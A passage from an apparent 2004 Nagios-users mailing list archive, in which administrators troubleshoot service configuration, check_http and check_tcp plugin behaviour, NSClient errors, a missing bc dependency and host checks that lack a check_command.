? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32491 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32496 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32501 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32505 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32507 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32511 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32517 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32522 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32524 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32527 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32532 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32537 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32542 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32544 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32548 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32553 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32558 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32562 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32564 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32567 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32570 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32572 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32579 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32584 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32587 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32594 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32596 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32600 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32605 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32609 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32612 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32617 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32679 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32681 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32685 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32688 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32690 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32694 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32700 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32702 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32707 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32710 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32719 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32723 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32725 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32729 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32751 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32754 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32761 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32763 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32766 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 303 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 309 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 311 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 314 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 319 0.0 0.2 4764 1488 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 388 0.0 0.2 4764 1488 ? S 11:23 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 397 0.0 0.2 4768 1480 ? S 11:23 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 399 0.0 0.2 4768 1480 ? S 11:23 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Fri Mar 5 12:31:24 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Fri, 05 Mar 2004 12:31:24 +0100 Subject: i can't see new added service. In-Reply-To: <000d01c4029f$d6934d90$520101c0@mesa.local> References: <000d01c4029f$d6934d90$520101c0@mesa.local> Message-ID: <4048650C.7090807@mobeon.com> Did you update the line cfg_file=/usr/local/nagios/etc/services.cfg in nagios.cfg? /FredrikW montse wrote: > Ok, i know what was happening, although I don't know why... > I started nagios with a new config file nagios.cfg.new where I had > spread services over several files i.e. services_dns.cfg, > services_traps.cfg etc.... In that configuration no service.cfg > appeared, but it still existed under the nagios/etc directory. I don't > know why nagios was reading this file. I have deleted services.cfg and > renamed nagios.cfg.new to nagios.cfg and I have started nagios with this > file again and every thing works ok. > Thanks for your help. > > >>-----Mensaje original----- >>De: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users- >>admin at lists.sourceforge.net] En nombre de montse >>Enviado el: viernes, 05 de marzo de 2004 11:21 >>Para: 'Fredrik W?nglund' >>CC: nagios-users at lists.sourceforge.net >>Asunto: RE: [Nagios-users] i can't see new added service. >> >>Sorry, i forgot to say, i verified just one nagios proccess was > > running. > >>>-----Mensaje original----- >>>De: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] >>>Enviado el: viernes, 05 de marzo de 2004 11:14 >>>Para: montse >>>CC: nagios-users at lists.sourceforge.net >>>Asunto: Re: [Nagios-users] i can't see new added service. >>> >>>A very common cause is that not all Nagios-processes are stopped > > when > >>>you restart Nagios. Stop Nagios and check carefully that all > > processes > >>>has ended before you start it again. >>> >>>/FredrikW >>> >>> >>>montse wrote: >>> >>> >>>>Hello every body: >>>>I running Nagios 1.2 and i added 2 new services. I restart nagios >> >>but >> >>>>under that host I only see old services. >>>>I have run nagios in debug mode and it loads the new services, and >> >>in >> >>>>the status.log there is a line for these services. >>>>I have delete status.log and let nagios to regenerate, but it > > still > >>>>happening. >>>>Any help, I think it has to do with the status.cgi but.... any > > idea? > >>>>Thanks in advance. >>>> >>>> >>>> >>>>------------------------------------------------------- >>>>This SF.Net email is sponsored by: IBM Linux Tutorials >>>>Free Linux tutorial presented by Daniel Robbins, President and CEO >> >>of >> >>>>GenToo technologies. Learn everything from fundamentals to system >>>> >> >>administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> >>>>_______________________________________________ >>>>Nagios-users mailing list >>>>Nagios-users at lists.sourceforge.net >>>>https://lists.sourceforge.net/lists/listinfo/nagios-users >>>>::: Please include Nagios version, plugin version (-v) and OS when >>> >>>reporting any issue. >>> >>>>::: Messages without supporting info will risk being sent to >> >>/dev/null >> >> >> >>------------------------------------------------------- >>This SF.Net email is sponsored by: IBM Linux Tutorials >>Free Linux tutorial presented by Daniel Robbins, President and CEO of >>GenToo technologies. Learn everything from fundamentals to system >>administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k >>_______________________________________________ >>Nagios-users mailing list >>Nagios-users at lists.sourceforge.net >>https://lists.sourceforge.net/lists/listinfo/nagios-users >>::: Please include Nagios version, plugin version (-v) and OS when >>reporting any issue. >>::: Messages without supporting info will risk being sent to /dev/null > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Mar 5 13:29:27 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Fri, 5 Mar 2004 07:29:27 -0500 Subject: check_* -w and -c switches In-Reply-To: <20040305111928.21358.qmail@minnow.softflare.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> <20040304220311.287412ea.karl@debisschop.net> <20040305111928.21358.qmail@minnow.softflare.net> Message-ID: <20040305072927.2aa7ae46.karl@debisschop.net> On Fri, 05 Mar 2004 11:19:27 +0000 "Paul L. Allen" wrote: > Karl DeBisschop writes: > > > The output from check_procs --help is below. 2 paragraphs plus 4 > > examples. Please feel free to suggest specific improvements. > > The paragraph I came up with to explain the full range syntax was: > > RANGEs are specified as 'min:max', 'min:', ':max', 'max' or '0'. A > RANGE specified as 'min:' is treated as min:infinity. A RANGE > specified as '0' is treated as '0:infinity'. A RANGE specified > as ':max' or 'max' is treated as '0:max'. The symbol '~' is > treated as negative infinity. If the RANGE is prefixed with '@' > then alert if inside the range rather than outside the range. > > I don't know offhand if check_procs supports the full syntax, so some > of that may not be applicable. Thanks. It does not support the full syntax, but it should. I will make changes to unify range processing in one function that supports the full syntax, then commit those along with the doco you provide. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 5 14:05:56 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 05 Mar 2004 13:05:56 +0000 Subject: check_* -w and -c switches In-Reply-To: <20040305072927.2aa7ae46.karl@debisschop.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> <20040304220311.287412ea.karl@debisschop.net> <20040305111928.21358.qmail@minnow.softflare.net> <20040305072927.2aa7ae46.karl@debisschop.net> Message-ID: <20040305130557.30964.qmail@minnow.softflare.net> Karl DeBisschop writes: > I will make changes to unify range processing in one function that > supports the full syntax, then commit those along with the doco you > provide. I have a perl subroutine that does the same thing which you can have if you want it (let me know where to send it if you do). -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Francois.JEANMOUGIN at 123multimedia.com Fri Mar 5 14:33:31 2004 From: Francois.JEANMOUGIN at 123multimedia.com (Francois JEANMOUGIN) Date: Fri, 5 Mar 2004 14:33:31 +0100 Subject: Strange behavior of check_http Message-ID: <4B05B471CA57554C8E0361B44297108644E491@mail.tls.123multimedia.com> Hi all, I used check_http succefully for months now and found a strange behavior : If you use: check_http -H yourhost.yourcompany.com -I 1.2.3.4 -f follow -U /test.htm -w 4 -c 6 You expect it to : - connect to 1.2.3.4 port 80 - send : GET /test.html HTTP/1.0 Host:yourhost.yourcompany.com This is usually the case. But if youhost.yourcompany.com is defined in /etc/hosts (say, with another IP like 1.2.3.100), then, this will override the -I option... The application will connect to 1.2.3.100 instead of the 1.2.3.4 defined in the command line option. Is it a bug or a feature? I had a look at the check_http.c code, and have to confess that I didn't find the reason of it. Any idea from the devs ? Fran?ois. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Fri Mar 5 15:30:26 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: 05 Mar 2004 14:30:26 +0000 Subject: Nagios indicating hosts up even when all services are down Message-ID: <1078497026.27256.51.camel@floyd> One of my nagios monitored hosts died recently, with all the services indicated as critical. However, even while the host was powered down (and I had it in pieces on my desk for 2 hours), the host status was still being indicated as up. Status up, status information host assumed to be up. I'm using this host template define host{ name default notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 0 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 max_check_attempts 20 notification_interval 60 notification_period 24x7 notification_options d,u,r register 0 } with each host configured like this define host { host_name blade2 use default alias Blade2 PDC parents CNE-12-CS1,CNE-12-CS2,CNE-12-CS3 address 192.168.41.17 } Does anyone have any suggestions, or is there more information which would be useful. CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From AHKAPLAN at PARTNERS.ORG Fri Mar 5 15:38:09 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Fri, 5 Mar 2004 09:38:09 -0500 Subject: Error Messages when running the apan-sql utility Message-ID: <5593DA408212D511B0910002A513501F0655922B@phsexch20.mgh.harvard.edu> Whenever run the apan-sql utility, the following error messages occur whenever I enter an option or data: ./apanconf-sql: line 1: bc: command not found ./apanconf-sql: line 64: [: -gt: unary operator expected The program prompts for information, but it does not appear that the data entered is winding up in the database. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mlist.nagios at inlan.inmics.fi Fri Mar 5 16:10:10 2004 From: mlist.nagios at inlan.inmics.fi (MiikaT) Date: Fri, 5 Mar 2004 17:10:10 +0200 Subject: Service state trend percentages Message-ID: <1078499410.40489852d0c4e@imp.inmics.fi> We need to monitor a service, which has service level agreenment during 7-20/5 days a week. If the service is down a certain percentage during this time perioud, there will be some penalties for the service provider. With Nagios we are checking the service 7-20/5, but if the service is down during this period service state trend seems to calculate the down percentage using 24/7 as the factor. If this is the case, is there a way, to make nagios calculate the uptime based on the service check or notification time period, so we could get the actual uptime percentage for the required timeperiod? -Miika ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Francois.JEANMOUGIN at 123multimedia.com Fri Mar 5 16:30:38 2004 From: Francois.JEANMOUGIN at 123multimedia.com (Francois JEANMOUGIN) Date: Fri, 5 Mar 2004 16:30:38 +0100 Subject: Error Messages when running the apan-sql utility Message-ID: <4B05B471CA57554C8E0361B44297108644E4A2@mail.tls.123multimedia.com> You need to install bc (arbitrary precision calculator). It is usually in a package called bc. Usefull for numeric calculations in scripts. Fran?ois. > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users- > admin at lists.sourceforge.net] On Behalf Of Kaplan, Andrew H. > Sent: Friday, March 05, 2004 3:38 PM > To: 'nagios-users at lists.sourceforge.net' > Subject: [Nagios-users] Error Messages when running the apan-sql utility > > Whenever run the apan-sql utility, the following error messages occur > whenever I > enter an option or data: > > ./apanconf-sql: line 1: bc: command not found > ./apanconf-sql: line 64: [: -gt: unary operator expected > > The program prompts for information, but it does not appear that the data > entered > is winding up in the database. > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Fri Mar 5 16:33:58 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Fri, 5 Mar 2004 10:33:58 -0500 Subject: Error Messages when running the apan-sql utility Message-ID: <5593DA408212D511B0910002A513501F0655922C@phsexch20.mgh.harvard.edu> Whenever run the apan-sql utility, the following error messages occur whenever I enter an option or data: ./apanconf-sql: line 1: bc: command not found ./apanconf-sql: line 64: [: -gt: unary operator expected The program prompts for information, but it does not appear that the data entered is winding up in the database. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bjd at compudentsystems.com Fri Mar 5 16:29:56 2004 From: bjd at compudentsystems.com (Brian J. Dent) Date: Fri, 5 Mar 2004 07:29:56 -0800 Subject: NSClient problems Message-ID: This is a Windows problem. I have NSClient installed on a WIN2K server. It was running fine for about 10 days. Now the results are showing: NSClient - ERROR:Malformed request or internal error. Check EventLog:None&2&10 Event Type: Error Event Source: NSClient Event Category: None Event ID: 2 Date: 03/05/2004 Time: 8:22:59 AM User: N/A Computer: TSERVER Description: Division by zero If you type pnsclient /uninstall, it fails to uninstall properly. When you reboot the server and reinstall, the problem returns. Thoughts? Regards, bjd Brian J. Dent CompuDent Systems (831) 649-2575 voice (831) 649-0948 fax (831) 224-2875 cell bjd at compudentsystems.com http://www.compudentsystems.com NOTE: This e-mail is confidential and is intended only for the recipient(s) listed. Unauthorized use or disclosure of this e-mail or any of the information in it is strictly prohibited. If you are not a listed recipient or someone authorized to receive e-mail on behalf of a listed recipient, please reply to the sender that the e-mail was misdirected and delete the e-mail. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From marc at ena.com Fri Mar 5 16:35:38 2004 From: marc at ena.com (Marc Powell) Date: Fri, 5 Mar 2004 09:35:38 -0600 Subject: Force check link from hosts.cfg Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A300@mismail2.ena.com> On Friday, March 05, 2004 3:13 AM, Martinez Gonzalez, Francisco shared with us: > I don't want to add it as service because I don't want show it in the > web interface. > > Any solution? Add it as a service but make the host and service contact a user that nobody ever logs in as. That will allow it to be monitored but never visible by normal authenticated users. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 5 16:47:04 2004 From: marc at ena.com (Marc Powell) Date: Fri, 5 Mar 2004 09:47:04 -0600 Subject: Nagios indicating hosts up even when all services are down Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A301@mismail2.ena.com> This one's simple. You don't have a check_command defined. No check_command, no check, no status change, no anything. -- Marc ________________________________ From: Stephen Patterson [mailto:stephen.patterson at cjgarland.com] Sent: Friday, March 05, 2004 8:30 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Nagios indicating hosts up even when all services are down One of my nagios monitored hosts died recently, with all the services indicated as critical. However, even while the host was powered down (and I had it in pieces on my desk for 2 hours), the host status was still being indicated as up. Status up, status information host assumed to be up. I'm using this host template define host{ name default notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 0 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 max_check_attempts 20 notification_interval 60 notification_period 24x7 notification_options d,u,r register 0 } with each host configured like this define host { host_name blade2 use default alias Blade2 PDC parents CNE-12-CS1,CNE-12-CS2,CNE-12-CS3 address 192.168.41.17 } Does anyone have any suggestions, or is there more information which would be useful. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Fri Mar 5 17:23:08 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Fri, 5 Mar 2004 11:23:08 -0500 Subject: Core dump :( Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2C3@exchange.drumbeatdigital.com> -bash-2.05b$ ~nagios/libexec/check_tcp -V check_tcp (nagios-plugins 1.4.0alpha1) 1.37 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. -bash-2.05b$ Machine w/ Port 8080 is on local and I cant take it outside due to security issues, I run tomcat on that port. -----Original Message----- From: Karl DeBisschop [mailto:karl at debisschop.net] Sent: Wednesday, March 03, 2004 9:29 PM To: Dmitry Chorine Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Core dump :( On Wed, 3 Mar 2004 17:53:55 -0500 "Dmitry Chorine" wrote: > Any solutions on this > > tama# ./check_http -H 192.168.3.17 > HTTP OK HTTP/1.1 200 OK - 1268 bytes in 0.004 seconds |time=4077us;;;0 > size=1268B;;;0 tama# ./check_http -H 192.168.3.17 -p 8080 > Segmentation fault (core dumped) > tama# ./check_tcp -H 192.168.3.17 > Segmentation fault (core dumped) > tama# ./check_tcp -H 192.168.3.17 -p 8080 > Segmentation fault (core dumped) > tama# > > I'm runnin nagios-1.2 on FreeBSD 4.9-RELEASE-p2 What plugin release (run both check_tcp and check_http with --version)? I assume that there is content on 8080 and there should be a 200 HTTP status code - is that true? Can you reporduce this on any publically accesible URLs so others could verify and debug? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Fri Mar 5 17:21:36 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Fri, 5 Mar 2004 11:21:36 -0500 (EST) Subject: REPOST: Error Message: Warning: Nagios process may not be running In-Reply-To: <5593DA408212D511B0910002A513501F06559225@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F06559225@phsexch20.mgh.harvard.edu> Message-ID: On Wed, 3 Mar 2004, Kaplan, Andrew H. wrote: > complained it could not find a running process. I ran the ps -ef |grep nagios > command, and I have a decent amount of processes that have the [nagios] program I think that's your hint there. The default command to check for the Nagios process looks for the full path to nagios in the process list. Some OSs just list "[nagios]" though.. if your OS is one of those, then change your check command and you should be good to go. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to 